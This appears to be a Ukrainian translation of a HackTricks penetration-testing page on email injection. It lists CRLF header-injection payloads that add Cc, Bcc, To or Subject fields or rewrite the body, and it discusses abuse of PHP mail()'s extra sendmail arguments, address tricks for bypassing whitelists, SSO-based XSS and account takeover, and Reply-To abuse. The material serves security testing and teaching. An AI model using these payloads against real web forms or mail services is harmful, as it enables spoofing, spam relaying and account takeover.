hacktricks/pentesting-web/email-injections.md
2024-03-29 19:49:46 +01:00

14 KiB
Raw Blame History

Внедрення електронної пошти


Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Внедрення в відправлену електронну пошту

Внедрення Cc та Bcc після аргументу відправника

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Повідомлення буде відправлено на облікові записи отримувача та отримувача1.

Впровадити аргумент

From:sender@domain.com%0ATo:attacker@domain.com

Повідомлення буде відправлено оригінальному отримувачу та обліковому запису атакувальника.

Впровадити аргумент теми

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Зміна тіла повідомлення

Впровадьте два рядки переносу, а потім напишіть своє повідомлення, щоб змінити тіло повідомлення.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Зловживання функцією PHP mail()

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5-й параметр ($additional_parameters)

Цей розділ буде базуватися на тому, як зловживати цим параметром, припускаючи, що зловмисник контролює його.

Цей параметр буде доданий до командного рядка, який PHP використовуватиме для виклику бінарного sendmail. Однак він буде санітізований за допомогою функції escapeshellcmd($additional_parameters).

Зловмисник може впроваджувати додаткові параметри для sendmail у цьому випадку.

Відмінності в реалізації /usr/sbin/sendmail

Інтерфейс sendmail надається програмним забезпеченням електронної пошти MTA (Sendmail, Postfix, Exim тощо), встановленим на системі. Хоча основна функціональність (такі як параметри -t -i -f) залишається такою ж з міркувань сумісності, інші функції та параметри значно відрізняються в залежності від встановленого MTA.

Ось кілька прикладів різних сторінок керівництва командою sendmail:

Залежно від походження бінарного sendmail було виявлено різні варіанти зловживання ними та витік файлів або навіть виконання довільних команд. Перевірте, як це робити за посиланням https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Впровадження в ім'я електронної пошти

Ігноровані частини електронної пошти

Символи: +, - та {} у рідкісних випадках можуть бути використані для маркування та ігнорування більшістю поштових серверів

Коментарі між дужками () на початку або в кінці також будуть ігноровані

Обхід білого списку

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Цитати

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IP-адреси

Ви також можете використовувати IP-адреси як доменні імена між квадратними дужками:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Інші уразливості

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

SSO сторонніх постачальників

XSS

Деякі сервіси, такі як github або salesforce дозволяють створювати адреси електронної пошти з XSS-вразливостями. Якщо ви можете використовувати цих постачальників для входу в інші сервіси і ці сервіси не санітарять правильно електронну пошту, ви можете викликати XSS.

Взяття контролю над обліковим записом

Якщо сервіс SSO дозволяє вам створювати обліковий запис без перевірки вказаної адреси електронної пошти (наприклад, salesforce) і потім ви можете використовувати цей обліковий запис для входу в інший сервіс, який довіряє salesforce, ви можете отримати доступ до будь-якого облікового запису.
Зверніть увагу, що salesforce вказує, чи була вказана адреса електронної пошти перевірена чи ні, тому додаток повинен враховувати цю інформацію.

Відповідь-Кому

Ви можете надіслати електронний лист, використовуючи Від: company.com та Відповісти: attacker.com і якщо будь-яка автоматична відповідь надсилається через те, що лист був надісланий з внутрішньої адреси, зловмисник може отримати цю відповідь.

Твердий відсоток відмов

Деякі сервіси, такі як AWS, реалізують поріг, відомий як Твердий відсоток відмов, зазвичай встановлений на рівні 10%. Це критична метрика, особливо для сервісів доставки електронної пошти. Коли цей показник перевищується, сервіс, такий як електронна пошта AWS, може бути призупинений або заблокований.

Тверда відмова вказує на електронний лист, який був повернений відправнику через те, що адресатова адреса недійсна або не існує. Це може статися з різних причин, таких як відправлення листа на неіснуючу адресу, домен, який не існує, або відмова сервера одержувача приймати листи.

У контексті AWS, якщо ви надсилаєте 1000 листів, і 100 з них призводять до твердої відмови (через причини, такі як недійсні адреси або домени), це означатиме твердий відсоток відмови 10%. Досягнення або перевищення цього показника може спричинити блокування або призупинення можливостей надсилання електронної пошти AWS SES (Simple Email Service).

Для забезпечення безперервної роботи електронної пошти та підтримання репутації відправника важливо підтримувати низький твердий відсоток відмов. Моніторинг та управління якістю адрес електронної пошти у ваших списках розсилки може значно допомогти досягти цієї мети.

Для отримання більш детальної інформації можна звертатися до офіційної документації AWS щодо обробки відмов та скарг: AWS SES Bounce Handling.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:


Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш розвинутих інструментів спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}